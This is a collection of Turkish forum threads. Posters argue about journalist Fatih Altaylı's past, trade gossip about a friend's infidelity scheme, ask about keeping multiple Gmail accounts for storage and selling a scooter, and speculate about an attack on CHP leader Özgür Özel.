omuzlarınızın üstünde karpuz taşıyorsanız elbette birilerini dinlemek sizler için bir ihtiyaç olabilir.
0
Whily
(22.06.25)
altayli eski akp'li falan degil niye uyduruyorsunuz. altayli ekmeginde olan bir adamdi ki 90'lardan beri bu boyledir. guclu iktidara karsi cok diklenemiyordu hatta suyuna gidiyordu burada hatasi vardir. hatta levent kirca tartismasinda hala muhalefete muhalefet yapan gerzek tayfadandi. cuneyt ozdemir ile yaptigi programda da gorebilirsiniz cok ses cikarmadigi icin koseye sikistiriliyordu.

ama muhtemelen hem o tartismalar, hem sonrasindaki gezi olaylari derken altayli ozellikle darbe sonrasi ulkedeki en guclu iktidar karsiti gazeteciye donustu. ahmet hakan denen firildakla hic alakasi yoktur ki ahmet hakan fi tarihinden beri dinci olan, kanal 7'de program yapan, simdi de bakan teknelerinde kucakta gezen bir lavuk. altayli ile nasil karsilastiriliyor anlamiyorum. pelin batu gibi beyaz turku bile kafalamisti zamaninda helal olsun. simdi de millet ahmet hakan'la altayli'yi ayni kefeye koymus. yok artik.
0
antikadimag
(22.06.25)
@ antikadimag

Google'a şahsın adı ve yanına tape yazınca çıkan mevzuyu saymamışsın?

'Alo Fatih' sözünü literatüre kazandırmış kişidir.
0
Mirket
(22.06.25)
yurtsuz john
(22.06.25)
Altaylı her devrin adamı, ailesi aşiret ve güçlü. O da değişimi gördüğü için tarafını seçti. Eğer derin devlet varsa onun bir maşasıdır.
0
mikahakkinen
(22.06.25)
@Mirket, meşhur tapelerdeki Alo Fatih, Fatih Altaylı değil Fatih Saraç
0
salihdt
(22.06.25)
Fatih orta yolcu tamamda a.hakan'la da karşılaştırmayın yav.
0
nuisance2
(22.06.25)
@mirket, hocam su alo fatih'i hala fatih altayli sanmaniz... yani binlerce kez duzeltildi ama bir kere internete yerlesmeyegorsun.

dedigim gibi bu adamin tek sucu zamaninda akp'nin 1-2 suyuna gitmesiydi. o da 12-13 yillik mevzu. 10 yildir akp'nin karsisinda mucadele veren en buyuk ve onemli figurlerden birisi.
0
antikadimag
(22.06.25)
alo fatih fatih saraç'tı evet ama fatih altaylının da tapeleri vardı tayyiple, aynı dönemde çıktı bunlar da. hatta bir tanesinde habertürkteki anket sonuçlarını nasıl değiştirelim mhpden birkaç puan alalım diye danışıyordu.
0
pide
(22.06.25)
konudan alakasız, bu yazdığımı görüyorsanız bana mesaj atabilir misiniz "yazdığın görünüyor" diye? duyuru shadowban mı uyguluyor ne yapıyor anlamadım
0
allah suriya bashar
(22.06.25)
İki Fatih arasındaki konuşma tapesi sonrası çıkmamış mıydı o söz?

www.youtube.com
0
Mirket
(22.06.25)
@mirket; elbette hayir. alo fatih erdogan'in fatih sarac'i arayip alo fatih bu ne rezillik demesi uzerinedir. insanlar bunu altayli olarak kodladi ve oyle kaldi. alo fatih talimat uzerine calisan bir adam intibasi veriyor.

zaten yukaridaki uzun yazimda cuneyt ozdemir roportaji falsosundan bahsetmistim. fatih altayli melaikedir sudur budur demiyoruz. ancak son 10 yilda yaptiklarina bakmayip adami 13 yil onceki guce karsi egilmesiyle tanimlamaya calismak cok dogru olmuyor benim eyyorlamama gore.
0
antikadimag
(22.06.25)
Altaylı başta iktidar yanlısıydı evet levent kırca ile olan programını ben de canlı izlemiştim.

Her devrin adamı mıdır, rüzgar nereye eserse oraya mı gider bilemem...

Fakat ben bu adamı son yıllarda hem habertürkte hem youtube kanalında her sabah izleyerek takip ediyorum, bilim yayınları yapıyor, alanında uzman insanları çağırıyor, tarih yayınları yapıyor.

Son yıllarda hükümeti, kılıçtaroğlunu falan da eleştiriyor. Ben o son levent kırca dönemlerinden sonra altaylı nın hükümet lehine bir şey dediğini, yaptığını hatırlamıyorum.

Yerden yere vuruyor yıllardır. Yanlış konuştuğu pek bir şey göremiyorum.

O yüzden eski ön yargılarınızı bir kenara bırakın derim. Ülkenin gidişini görüp rahatsız olup dönmüş olabilir?

Ya da bir ajandır da dediğiniz gibi muhalefet açığını görmüştür, yıllardır rol yapıyordur... O yüzden mi içeri aldılar? Bu da mı tiyatro?
0
ananiyimioguz
(22.06.25)
altayli baya kuvvetli biri, fazla tutmazlar.
bir nevi gozdagi oldugu kesin, bokunu cikardin biraz vites kucult operasyonu.
0
cooperr
(23.06.25)
(32)

alemin kerizi benmişim

koxy
cep telefonundan yazıyorum, hatalarım olabilir.olaydaki kişileri hızlıca tanıtıp esas kısma geçeyim. ayşe: benim lise ve sonrasında arkadaşım. arkadaş grubumdan biriyle sevgili oldu, oradan arkadaş olduk. aynı fakülteye gittik derken işte arkadaş kaldık. fatma: ayşe'nin çocukluktan beri arkadaşı.
cep telefonundan yazıyorum, hatalarım olabilir.
olaydaki kişileri hızlıca tanıtıp esas kısma geçeyim.
ayşe: benim lise ve sonrasında arkadaşım. arkadaş grubumdan biriyle sevgili oldu, oradan arkadaş olduk. aynı fakülteye gittik derken işte arkadaş kaldık.
fatma: ayşe'nin çocukluktan beri arkadaşı. ben de ayşe sebebiyle tanıyorum. arkadaşım diyemem ama tanıştan da bir tık öte.
ikisi de halen çocukluğumuzun gençliğimizin geçtiği yerde ya da yakın yerlerde yaşıyor. ayşe yeni evli sayılır.
ayşe, eşini aldatıyor. bu, herkesin bildiği, herkesin de herkesin bildiğini bildiği ama bilmiyormuş gibi yaptığı bir şey.

bayramda nasıl olduysa fatma ile yolum kesişti.
ben de işte biraz yalnızlıktan falan yakındım. başka bir arkadaşımıza rastladık çocuğuyla. o çocuğu falan sevdim, oynadık biraz işte.

bütün bunlardan sonra fatma "sen madem bu kadar çocuk seviyorsun, çocuk istiyorsun eee ayşe'de istiyor. boşanacak zaten evlenin işte" gibi laf söyledi.
ben de birkaç saniye mal mal baktım ve "saçmalama mk biraz düşünerek konuş" dedim.
fatma ise bunun aşırı mantıklı olduğu konusunda ısrar etti.
ben de en sonunda hali hazırda evli olan ve eşini aldatan biriyle benim böyle hayali planlarda yer almamızın bile beni rahatsız ettiğini söyledim ama tabii bu kadar usturuplu bir şekilde değil.

aldığım cevapsa "aldatıyorsa aldatıyor, seni mi aldatıyor? kim biliyor ki zaten bu hadiseyi? sen, ben." oldu.
"benim bilmem yetmiyor mu zaten?" dedim ve bu konuyu bir daha hiçbir şekilde ağzına almaması gerektiğini söyleyip ayrıldım ortamdan.

yeni bir gün doğdu. ben bu saçmalığı nasıl zihnimden silerim diye düşünürken ayşe'nin ablası whatsapp'tan yazdı. kendisini tanıyorum ama numaramı hiç vermedim. hiçbir mecrada ekli değil. dışarda görürsem selam verir, hal hatır sorar, siktir olup yoluma giderim.

konuya "senin bizim şubede ticari hesabın varmış" falan bir şeyler anlatarak girdi. bayram günü ne bankası ne hesabı. "hesap 5 yıl öncesinin. sizin şube bile değil" dediğimde "ya öyle mi? ben karıştırdım herhalde. ayşe'nin durumlarından böyle oldu. ne dediğimizi ne yaptığımızı bilmiyoruz ailecek" falan bir şeyler anlattı. konu bir şekilde benim bekar oluşuma, ayşe'nin ne kadar da yanlış bir evlilik yaptığına, hiç görüşüp görüşmediğimize falan geldi. "abla, hesapla ilgili acil bir şey yoksa malum bayram, ben de kaç saatlik yoldan geldim, sonra mı konuşsak?" deyip sıyrıldım.

ayşe'nin bunlardan haberi var mı bilmiyorum. organize bir şey mi emin olamıyorum kesin olarak.
ancak inanılmaz rahatsız oldum ya.
hatta şimdi bu rahatsızlığımı daha net ifade etmediğim için daha da çok rahatsız oldum.

ayşe'ye karşı hayatımın hiçbir döneminde hiçbir çekim hissetmedim. kendi hayatında ne halt yediği de beni alakadar etmez.

nasıl desem... evlilik, çocuk isteyen erkek çok mu keriz gibi duruyor uzaktan merak ediyorum. bende mi bir alıklık olduğunu düşünüyorlar acaba? yoksa aldatmanın o kadar mühim olmadığı bir çağa geçtik de ben mi mağaramdan çıkmadığım için kaçırdım?
0
koxy
(10.06.25)
Daha bir olay olmamış kafanda büyütmüşsün. Diyelim ki üçü de böyle insanlar mesafe koyar geçersin başını ağrıtmadan
0
grimavi
(10.06.25)
aman aman... olay tamamen planli. ayse'den ve cevresinden uzak dur.

cocuk istedigini söylesen insanlar keriz gibi duruyor evet. kartlari cok acik oynamamak lazim. buraya gelip ama dürüstlük ve aciklik cok önemli diyecekleri inanma. teoride öyle ama pratikte karsi tarafi kaciriyor ve böyle garip garip insanlari cekiyor :)

ya belki senin gibi saf ve temiz duygularla bunu isteyen de vardir ama one in a milliondir.
0
sonsuz
(10.06.25)
üstte yazılan gibi kadına karşı açık kart oynama herhangi bir konuda. ve yine dendiği gibi milyonda bir hariç hepsi birer ayşe.

bunlar sizi bayağı enayi olarak görüp yüzlerini göstermişler sadece. ya da elleri güçlü olmadığından açık oynamak zorunda kalmışlar siz eli güçlü sinsileri düşünün :D.

"ayşe'nin bunlardan haberi var mı bilmiyorum. organize bir şey mi emin olamıyorum kesin olarak." gibi bir cümle kuruyorsanız zaten bir silkelenip kendinize gelmeniz lazım çevrenizdekiler karşı. maalesef herkes kendiniz gibi değil, en azından kucağınızda bir bebekle yazmıyorsunuz bunları :) umarım güzel dersler çıkar herkes için.
0
gule gule
(10.06.25)
Benzer birkaç tanesi başıma geldi geçmişte, kendi evime tasindigimda, birkaç ortak arkadaşa lan evlilik yaşı da geldi ha muhabbeti açtığımda, çocuk muhabbeti için de aynı.
Bu tür kadınlar bir çeşit gizli çete gibiler bence, planlı organize olmasına da gerek yok birbirlerinin dramalarindan ya da drama çözücü olmak üzerine yaşıyorlar herhalde.

Üzerinize alınacak bir şey yok, bazı kişilerin kafa böyle çalışıyor herhalde, ama amaç ne bilmiyorum.

Ayrıntısını düşünüp kendinizi paranoyaklastirmayin.

Bir daha benzer iletişim çabaları olursa da ya hiç contact kurmayın mümkünse, değilse de dolaylı "kapalıyız, ilgilenmiyorum" mesajı verecek şeyler söyleyin.
0
encokbenisevinnolur
(10.06.25)
keriz değilsin de keriz olma ihtimaline oynamışlar. belli ki yemezsin bunları. iletişimi kes, yoluna bak, ayşe de eksik olsun hayatında. ablasını da kvkk ya aykırı davranıştan şikayet edebilirsin senin hesabına telefonuna bankadan baktıysa.
0
kisa
(10.06.25)
çocuğa bakacak keriz arıyolar. keriz olarakda seni seçmişler.
0
xu
(10.06.25)
bence planli, hatta ayse seni begeniyormus zaten bence. arkadasinin birden aklina gelip, soyledigi bir sey oldugunu sanmiyorum ben. aysenin de parmagi var.
uzak durun.
0
65 derece
(10.06.25)
Uzun süre görüştüğün olmadıysa eğer düzgün birini bulamıyor kimseye güvenemiyor diye düşünüp hazır tanıyor d ayşe'yi yapalım bunları demiş olabilirler. Fatma ile olan konuşmada yalnızlıktan dem vurunca bir de yol yapıyosun bile zannetmiş olabilirler. Özetle aslında saf zannediyorlar seni.
0
beyfendi
(10.06.25)
hepsini engelle
0
Hallegadola
(10.06.25)
bundan ayşe'nin haberinin olmaması im-kan-sız. imkansız yani. ablasını falan da o dürtmüştür şu banka hesabını bahane edip araması için. siz konuşurken ablasının yanında sizi dinliyordur hatta, öyle zihnimde canlandı. ben olsam tüm bu insanlarla görüşmeye devam etmezdim, ıyk.
0
deartheodosia
(10.06.25)
Valla hocam tuzakta olabilir. ben mi çok şüpheciyim bilmiyorum. Ayşe'nin kocasını senin üstüne salabilirler. Ayşe'nin kocasıyla seni birbirinize kırdırırlar. böylece ayşe aradan sıyrılır ve kendine yeni bir tokmakçı şey pardon sevgili bulur.

Bence uzak dur.
0
komando kani var bende
(10.06.25)
olayda adı geçenlerden hangisiyle birkaç gece geçirebilirsen kârdır. sonra arkana bakmadan kaç. bu senaryodan zarar almadan çıkacacağın başka bir ihtimal yok. ağır hasarlı yedi taklalı aracı kozmetik boyalı dosta gider diye ittirmeye çalışmakla aynı şey bu.
0
Whily
(10.06.25)
Uzun zamandır böyle acayip hikaye okumamıştım. Koşarak uzaklaş. telefondan engeli bas. Şunlardaki rahatlığa bak ne kadar da kolay söylüyorlar.
0
gilbeys
(10.06.25)
bu insanlarla ilişiğini kes. muhatap olmamaya çalış. bir süre sonra onlarda vazgeçecektir.
0
koela
(10.06.25)
o kadın ne iş yapıyo
0
lambırcek
(10.06.25)
Operasyona bak be.

Aman hocam Ayşe'sini de Fatma'sını da ablasını da engelle görüşme bir daha. Bu soft bir hamle en azından. @gule gule'nin dediği gibi de olabilirdi böyle sinsi insanlardan her şeyi bekleyin. @whily'nin dediğini de unut Ayşe prezervatifi deler, çöpten alır içine sokar her şeyi yapar. Herkesi kendiniz gibi sanmayın.
0
chicha_v2
(10.06.25)
(bkz: tezgah lan bu)
0
respect
(10.06.25)
Birincisi öncelikle duruşun sebebiyle tebrik ediyorum. Kendimi yalnız hissediyordum Sen de varmışsın sağol bro.

İkincisi evet keriz duruyoruz. Ama emin ol bizim gibi olan düzgün kadınlar bu dünyada var.

Bana söyleneni sana iletiyorum: sana kakalama olaylarındalar, düşme ahmed. Ve olabildiğine uzak dur. Yöntemleri biliyorsun.
0
baldan kaymak
(10.06.25)
Aiy tezgah! Banka hesabına kadar konuşulması falan nedir? Boşluktayım imajı çizmişsiniz ama kerizlikle alakası yok. Boşanılmamış bi ilişkide durup dururken en zararlı çıkan siz olursunuz. Topuklar vura vura...
0
beetlejuice
(10.06.25)
organize olup olmadığından şu yüzden emin olamadım. bunlar zaten haftada en azından bir iki birbirini görüyor, denk geliyor. bayramda bu denk gelme kesinlikle yaşanmıştır zaten. belki bir yerde adım geçmiştir diye düşündüm açıkçası.
0
🌸koxy
(10.06.25)
Bir şekilde organize+1

Kaçın
0
enteg
(11.06.25)
nasıl bir imaj çizmişsen bunlar seni ağır keriz sanıyor herhalde. ama verdiğin cevaplar falan ağır bir kerizin vereceği cevaplar değil. kafalarından ne geçiyor anlamak güç. ayşenin olaylardan habersiz olma ihtimali de %0,1 falan. koşarak uzaklaş bu tiplerden.
0
bobinhoo
(12.06.25)
Senin keriz olduğun varsayımından yola çıksak bile ortada bir tuhaflık var. Bir insan sırf keriz olduğu için onunla evlenmek istenilmez, ortada başka bir motivasyon olması gerekiyor. Bu durumu enteresan buldum ve üzerine kafa yordum.

- Ayşe senin yerine neden eşini aldattığı kişiyle evlenmiyor?

- Mal varlığı olan biriysen para koparmak için seninle evlenmek istiyor olabilir; ancak yoksa seninle evlenmeyi istemesi için ortada ciddi bir motivasyon da yok gibi gözüküyor. Onu tatmin edebilecek bir mal varlığına mı sahipsin?

- Sana platonik aşık olsaydı ilk hamlesi evlenmeye çalışmak değil de sevgili olmaya çalışmak olurdu. Neden sevgili olmadan hemen evlenmek istesin ki?


Bu grup hiç sevgililik yaşamadan evlenmeyi kendi normalleri haline getirmiş olabilir, bu durumda zihinsel olarak 60'lar Anadolu'su paralel evreninde yaşıyorlar demektir. Ortadaki tuhaflığı ancak böyle bir gerekçe açıklayabilir.
0
fobfilm
(12.06.25)
ayşe'nin benim bildiğim sevgililerin hepsinin de evli olması, neden onlardan biriyle evlenmiyorun cevabı sanınırım.

mal varlığım yok. havadan bir 10k$ gelse sıfıra sıfır noktasına gelirim öyle durumdayım yani. ancak bakarsak ayşe'nin ailesine damat gitmek kağıt üstünde hiç de fena bir fikir değil. malın mülkün haddi hesabı yok. ama o kadar onursuz değilim. zaten kocası da muhtemeldir ki bu yüzden boşamıyor.

ayşe bana bakacak bir kız değil normalde.
0
🌸koxy
(12.06.25)
güncelleme:
ayşe başka bir halt daha yemiş. kasaba ufak bir karışmış.
kocası nakit 2m tl alıp salağa yatmaya devam ediyor.
üçlü ile olan iletişimim sıfıra yakınsadı, pişman değilim.
0
🌸koxy
(14.08.25)
ay ne olmus peki?
ayse hamile miymis? koca neden para almis?
uzerimize dedikodu atin :D
0
65 derece
(15.08.25)
ayşe daha pazartesi başladığı yeni iş yerinden biriyle perşembe basıldu.
ancak basan taraf kendi kocası değil de karşı tarafın eşi olunca olay bayağı büyümüş. basılma anına dair videolar şunlar bunlar.
kızımız bu durumu affetmesi için kendi eşine 2m verdi.
diğer tarafa da bir şeyler verdi videoları almak için ama ne verdi bilmiyorum.
0
🌸koxy
(17.08.25)
güncelleme 2:
ayşe hamile.
baba belirsiz.
bunu takip eden gün ayşe'nin kocasıyla diğer potansiyel adaylardan biri arasında silah tüfekli kavga çıkmış dsljkjldfs
allahtan aramızda binlerce km var ya şu kaosta arada harcanırdım.
0
🌸koxy
(26.09.25)
ne hayatlar var ya.
0
deartheodosia
(27.09.25)
buna benzer hikayeler çok oluyor.
son güncellemelerden sonra olay netleşti.

ayşenin pek çok manitası var ama bebeğin babası belli değil (iğrenç durum)
bebeği kitleyecek düzgün birisini arıyorlar.
adaylardan birisi de sensin. seni kendi aralarında konusmuslar. çünkü uzun zamandır tanıyorlar ve sorunsuz birisi oldugunu biliyorlar.
fatma bir bahaneyle konuyu ikinizin evlenmesine getirmiş.

sen kesin bir dille istemeyince olay durmuş.

bunlarla -özellikle bu dönemde- hiç iletişimde olmamak en doğrusu. bir yalan uydurup başına iş açabilirler.
0
abelardo
(27.09.25)
ayşe'nin planı belli, yatağına girmedik adam bırakmayacak. ben asıl fatma ile olan durumunu merak ettim. ayşe gibi ücretsiz bir kadını karnındaki çocuğuyla beraber itelemeye çalışan birine iki çift laf etmekle olmaz, üzerinden kamyon gibi geçmek lazım.
0
beyfendi
(27.09.25)
ooooneler neler
(cekirdek citleme mode on)
0
65 derece
(28.09.25)
(13)

İstediğim kadar Gmail adresi alabilir miyim ?

dedeminhirkasi
Foto ve videoları yüklemek için gmailin ucretsiz 15 gblik Drive hizmetinden faydalanmak adına örneğ[email protected] 2-3-4 Gmail.com diye alsam bu hesaplar banlanabilir mi?
Foto ve videoları yüklemek için gmailin ucretsiz 15 gblik Drive hizmetinden faydalanmak adına örneğin
[email protected] 2-3-4 Gmail.com diye alsam bu hesaplar banlanabilir mi?
0
dedeminhirkasi
(04.06.25)
Bildigim kadariyla bunun onunde bir engel yok.
Ancak bir sure aktif olmazsa atiyorum 2 yil, hesap silinebilir. Suresini tam bilmiyorum.
0
nuevo
(04.06.25)
alabilirsiniz. banlanmak değil ama bir limit var, yine de bu limiti aşabiliyorsunuz. bluestack kurup surekli yeni telefon oluşturarak.
0
gule gule
(04.06.25)
Benzer sekilde 14 tane gmail hesabim var, pdf arsivimi o hesaplarin drive'inda sakliyorum. Hesaplar da x1, x2, ... x14 diye ilerliyor.

Gmail drive a yukledigin herseyi big data olusturmak ve yapay zekasini egitmek icin kullaniyor. O senin uzerinden kar ediyor, not the other way round.
0
deckard
(04.06.25)
Belli aralıklarla login olmayı unutmayın.
İkincil eposta olarak sürekli kullandığınızı yazın 6 ay 1 sene sonra “kullanmadığınız için silinecek” mailini kaçırmayın.
0
biseysorcaktim
(04.06.25)
Olur olmasına da.. bir sürü hesapla uğraşmak, bir dosyayı farklı yerlerde aramak gibi şeyler yapmak yerine

neden ayda 50 tl verip 100gb depolama alanı satın alıp google drive ve google photos kullanmıyorsunuz?

Ben 2015 den beri google photos kullanıyorum, hem kronolojik olarak sıralıyor hem de arama yerine herhangi bir nesne, yer veya kişi yazdığınızda o fotoğrafları saniyeler içinde getiriyor. Büyük rahatlık bence.
0
ananiyimioguz
(04.06.25)
@oguz, benim.durumum su.

Binlerce kitabi konularina gore klasorledim ve kendime bir kutuphane olusturdum. Bu kutuphane icin de bir blog kurdum. Blog icinde ilgili dosyalara linkleri yerlestirdim. Ihtiyacim oldugunda kutuphane bloguma giriyorum. Dosyalar arasinda geziniyorum. Kendime ait her an erisebilecegim bir kutuphane olusturmus oluyorum. Elbette bunu bulut hizmeti alarak da yapabilirdim ama ahlaksiz ve hayatsiz bir loser olmanin da bazi gereklilikleri var.
0
deckard
(04.06.25)
@deckard Bu dediklerinizi google drive ile yapabiliyorsunuz...
0
Shepard
(04.06.25)
Shepard, ben boyle yapmayi tercih ediyorum. Benim tercihlerimin sizin nezdinizde makul bir zemine oturmak zorunda olmadigini dusunuyoru. Bir sakincasi var mi? Bence yok.
0
deckard
(04.06.25)
@deckard XD
0
Shepard
(04.06.25)
ben bunu yandexte yapıyordum. müşterilere fotoğraf ve videolarını atarken yeni mail açıp yandex diske atıp yolluyordum.
mail adını da xynikah2020@ yapıyordum.
0
my fault
(04.06.25)
Alamazsınız, olmuyor. Buna güvenip dediğinize benzer bir şeyin ufak boyutlusunu yaptım. Şu an veriler yok. Dikkatli olun. Google belli olmuyor.
0
encokbenisevinnolur
(04.06.25)
photos kullanıyorum, çok uygun fiyata depolama var.
0
baldan kaymak
(05.06.25)
Bunu istikrarlı bir şekilde yapabilen maden bulmuştur haberi yoktur. Ciddiyim. Bunun çalışan bir yöntemi varsa milyonlar verip alacak insanlar var.
0
Whily
(15.06.25)
(5)

Scooterımı nasıl daha hızlı satabilirim?

rebecca
125cc bi scooter'ım var Arora marka cappucino. 2000 kilometrede tertemiz bi motor ama 2-3 aydır satılmıyor malum sitede. Fiyat da azalttım belli ölçü ama hala hareket yok çok alternatif olan bir motor Ama bu kadar yavaş olmasını da beklememiştim. Siteye koymak dışında önerileriniz olur mu ya da ne b
125cc bi scooter'ım var Arora marka cappucino. 2000 kilometrede tertemiz bi motor ama 2-3 aydır satılmıyor malum sitede. Fiyat da azalttım belli ölçü ama hala hareket yok çok alternatif olan bir motor Ama bu kadar yavaş olmasını da beklememiştim. Siteye koymak dışında önerileriniz olur mu ya da ne bileyim deneyimi olanların başka nasıl önerileri olur?
0
rebecca
(20.05.25)
fiyat sıfır fiyatına yakınsa insanlar onu alacağıma sıfır alırım diyebilirler. facebook marketplace'de koyabilirsiniz.
0
duyulmasi gerektigi kadar
(20.05.25)
Piyasa ölü , burundan kıl aldırmayan Honda bile bayide nakte güzel indirimler yapıyor.
0
schizofrengi
(20.05.25)
Facebook ve whatsapp gruplarını deneyebilirsin. Sahibindende doping almayı düşünebilirsin, ilk sayfadan düştükten sonra ihtimal düşüyor
0
atom karincanin torunu
(20.05.25)
Hiç yazan eden dahi yoksa bil ki fiyatı yüksek yazmışsındır. Tahminden çok piyasadaki talebe göre belirlenir fiyat. Düşürmeye devam ettiğinde mesajlar gelmeye başlar. Pazarlık payını da düşünerek ona göre bir şeyler yazman lazım. Atıyorum sarı sitede ortalama fiyat 70-80 binse 1-2'şer bin düşerek ilerle. 2-3 bin de pazarlıkla düşüp satarsın. Hızlı satmanın tek yolu fiyat düşmek.
0
himmet dayi
(20.05.25)
satılmıyorsa iki sebebi var:
fiyat yüksek.
kazası şuyu buyu var kozmetik açıdan fiyatı hak etmiyor.
cappucino trnin en çok satanlarından biri. piyasası var ama fiyat kıran kırana.
bayide bile şimdi çıksam 0 km bir iki yaş eski modeli 60k ya bulurum. 63 65 e kredi kartına taksitle bulurum. ki bunlarda yıldan yıla kasa değişmiyor özellik gelmiyor bir şey olmuyor.
0
Whily
(20.05.25)
(12)

Bir erkeğin en yakın arkadaşı olan kadınla sürekli böyle konuşması

64654942
Yakın arkadaşınız sizinle sürekli bu muhabbette olsa, üzerinizden bu esprileri yapsa ne düşünürsünüz? Birkaç gündür bazı mecralarda bu konu dönünce durum hakkındaki yorumunuzu sormak istedim. Karşı tarafın buna okey olmasından bağımsız sizin düşüncelerinizi merak ediyorum.Sadece komik geyik muhabbet
Yakın arkadaşınız sizinle sürekli bu muhabbette olsa, üzerinizden bu esprileri yapsa ne düşünürsünüz?

Birkaç gündür bazı mecralarda bu konu dönünce durum hakkındaki yorumunuzu sormak istedim. Karşı tarafın buna okey olmasından bağımsız sizin düşüncelerinizi merak ediyorum.

Sadece komik geyik muhabbeti mi, yoksa saygısızlık veya hadsizlik mi?

jumpshare.com
0
64654942
(19.05.25)
Kalitesiz adam işi bunlar. Bundan daha kötülerinin geleceğinin habercisi. Ayrılırdım çünkü konuşarrrrrak çözülecek bir konu değil.
0
Shepard
(19.05.25)
Ben şahsen bu denli gevşek arkadaş ortamlarından hoşlanmıyorum. Aynı şekilde bana yapılmasını da kabul etmem. Adam açık açık çaksak, bassam falan diyor.
0
minik patates puresi
(19.05.25)
Ortam niteliksiz cinsellik ve nitelikli dolandırıcılık kokuyor
0
sekizdokuzon
(19.05.25)
Ay biliyorum bunu ya. Bu arkadaş kardeşim dediği Yağmur'a sık sık "dişlerini değdirme, ısırma, bardağın hangi tarafından içtiysen orayı yalayayım, tatlı götünü bana yaklaştır" gibi espriler (!) de yapar. Kızın bundan keyif alıp her seferinde dakikalarca kıkırdaması da ayrı komedi. İlginç kafalar.
0
potasyum bebek
(19.05.25)
Gençler eğleniyor ne güzel ya. Dünyayı mı kurtaracaksınız.. rahat olun.
0
runaway
(19.05.25)
Rezillik. Tek tek açıklamayacağım.

10 yaşından beri en yakın 2 arkadaşım erkek. 45 yaşına geldim. Böyle seviyesiz, bel altı muhabbetler yapmadan da geçebiliyor yıllar gayet keyifle. Ergen de olduk, evlendik de (tabii ki farklı insanlarla) boşandık da... Ölümler de oldu doğumlar da... Yılın en az 3 ayı her gün dipdibe sürgün gibi bir kasabadaydık. Ama seviyesiz bir muhabbetimiz olmadı.
Ben kadın erkek arkadaşlığına inanırım. Ha eski kocam beni hamileyken en yakın 20 yıllık arkadaşıyla(!) aldattı. Ne diyeyim o da onların açlığı. Kimse kalmadıysa demek...
0
strawberry first
(19.05.25)
Çok zorlaşan bu tablodan istismar bile çıkar. 35+ bir adam yirmilerinin başındaki kızlara geyik adı altında bayağı asılıyor. Neyse o kızlara da hayat dersi olur ne diyek.
0
sekizdokuzon
(19.05.25)
komiğini geyiğini bilmem ben bir bayanla böyle konuşmam, benlede kimse böyle konuşmaz. yaşla alakalı biz 40'a dayandık ama çoluğumuz çocuğumuz daha beter olucak heralde.
0
mikahakkinen
(19.05.25)
Bence adamın tavırları, ses tonu ve "taklitleri" aşırı derecede itici olduğu için bu şekilde rahatsız edici. Yakın kız arkadaşlarım ile konuşmalarımı bizim arkadaşlık bağlamımız dışında okuyan (hele Ekşi Duyuru'da ise) çıldırıp kafasını duvarlara vurur. Kim bilir ne fantastik çıkarımlarda bulunur. O yüzden oradan yola çıkarak konuşuyorum, cümleler konusunda fazla abartılacak bir şey yok. İkisi de internette göz önünde anladığım kadarıyla ve onun için bu konuşmayı bu şekilde ekmeğini yiyebilecekleri şekilde yapıyorlar diye düşünüyorum.

Bunun dışında normal zamanlarda konuşmaları nasıl bilmeden bodoslama yorum yapamam. Şu hali ile yakın arkadaştan çok "fırsatını bulana kadar yakın arkadaş" havası var ama bu internette etkileşim temelli iletişim çıkabilir.
0
nawar
(19.05.25)
Skip to 3:30
gençlik işte.. çağ atlıyor(!)

yakın arkadaşlık bu diyenlere de inanmayın. Bu kafadakilere ülke emanet edilir mi? düşünün artık.
0
diyecevaplandı
(19.05.25)
25 saniye falan dayanabildim. kapadim sonra. en yakin 5 arkadasimin 3u kadin. asla asla asla bu videodaki yaratigin davranislar normal degil.

etkilesim almak icin seviyesizligin dibine vuran tipler bunlar ya.
0
aguen
(19.05.25)
(bkz: entertainment)
0
Whily
(20.05.25)
(13)

Özgür Özel'e yapılan saldırı ne derece planlı sizce?

sekizdokuzon
Saldırıyı gerçekleştiren şahsın özgür iradesiyle karar alıp eyleme geçtiğini pek düşünmüyor sanırım kimse. Ucu nerelere varıyor sizce? Teşekkürler.
Saldırıyı gerçekleştiren şahsın özgür iradesiyle karar alıp eyleme geçtiğini pek düşünmüyor sanırım kimse. Ucu nerelere varıyor sizce?

Teşekkürler.
0
sekizdokuzon
(04.05.25)
100 de 100 planlı. neye şaşırıyoruz ki? daha dün türkeşin kızını babasının mezarında sıkıştırdılar. reis belediye tesislerinde alkol alıyorlar, kıbrısta başörtülü kardeşlerimizi okullara almıyorlar diyor. gene aynı senaryo.
0
mikahakkinen
(04.05.25)
Aklına ilk kim geliyorsa sorumlusu o tabii ki.
0
Kaleci Saçlı Yırtıcı Forvet
(04.05.25)
amaç muhalefet adayını karikatürize etme ve tek dokunulmazin RTE olduğu şovu.

anadolu insanı etkileniyor böyle şeylerden; şimdiden "bak şamarı nasıl yabıştırmışlar tipitip'e" diye başlamıştır kahvelerde muhabbetler.

özgür özel de tıpkı kılıçdaroğlu gibi anadoluda baya ses getirmeye başlamıştı.

ne tesadüf ki -tıpkı kılıçdaroğlu saldırısı gibi- bütün kameralar full her açıdan çekimdeyken gerçekleşiyor bu saldırılar :))

şartlı tahliyeliymiş zaten. artık o "şart" neyse :)
0
makbur
(04.05.25)
Akpli manyagin biri.
Arkasinda bir güc olsa özgür özel su an ya ölüydü ya da hastanede
0
sonsuz
(04.05.25)
milletin saldırmadığı chp genel başkanı mı var?
öncekilerde arkasında kim vardı
eğer biri varsa ne oldu sonucunda
bu soruların cevaplarını bulduk bu eksik kaldı sanki
0
Whily
(04.05.25)
3-5 eline sıkıştırmış ya da akrabasını bilmem nerede işe alma sözü vermişlerdir.
0
gabe h coud
(04.05.25)
"Yarın anmaya katılacakmış, al bu parayı yumruk at" kadar mi yoksa "Seni içeriden çıkartırız ama sen de bizim işimizi göreceksin ileride" kadar mı planlı? Sormak istediğim o aslında.
0
🌸sekizdokuzon
(04.05.25)
Planlı mi bilmem ama, 2 çocuğunu öldürmüş 2 sini yaralamış birisi dışarıda ise sorun var demektir. İmamoğlu suçsuz ve tutsak
0
the sound and the fury
(04.05.25)
@makbur +1

noktası virgülüne katılıyorum
0
yurtsuz john
(04.05.25)
Arka planda rezerv alan yasası, iklim değişikliği yasası ve daha bilmem neler neler işliyor. Tam da bu sebeple her şeyin sonuna kadar planlı olduğuna inancım gittikçe gelişiyor.
0
muhayyer divan
(04.05.25)
dem ile chp'nin arasını açmaya çalışıyorlar. su gibi eriyen oyları kürt(dem) seçmen ile kapatma telaşındalar. planın gizli öznesini tahmin etmek zor değil.
0
HellKeePer
(04.05.25)
Özgür Özel bunu çok sağlam bir gole çevirebilirdi.
Ama yok adamda ya liderlik kumaşı yok ya da Kılıçdar gibi AKP'ye çalışıyor.
